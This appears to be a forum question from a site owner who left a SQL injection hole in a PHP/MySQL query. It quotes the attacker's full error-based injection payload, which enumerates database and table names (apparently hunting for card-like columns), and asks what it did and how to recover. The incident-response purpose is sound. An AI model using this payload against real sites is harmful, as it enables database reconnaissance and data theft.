I rather foolishly allowed SQL injection into my server under certain circumstances. However I can't quite see what the attack achieves, and how to repair whatever-it-is that was done.
This is the SQL in question:
'and(select 1 from( select count(*), concat(( select( select( select concat(0x217e21,d. schema_name,0x217e21) from information_schema. schemata as d join information_schema. tables as t on t. table_schema = d. schema_name join information_schema. columns as c on c. table_schema = d. schema_name and c. table_name = t. table_name where not c. table_schema in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) and c. column_name like 0x25636325 and not t. table_name in(0x616363657373,0x70687062625f7573657273) group by t. table_name limit 2,1)) from information_schema. tables limit 0,1),floor(rand(0)*2))x from information_schema. tables group by x)a) and '1'='1
(Newlines added for readability)
In effect this was inserted in this sort of scenario:
SELECT * FROM students WHERE name = '$name';
$name contains the above (I should have detected the quotes, at the very least). I had already detected and removed any semicolons in the name.
- What does this do, exactly?
- How can I undo this, if that needs to be done?
I have amended this particular script to use parametrized queries, but I am wondering what else needs to be checked for. (In other words, what damage was done?)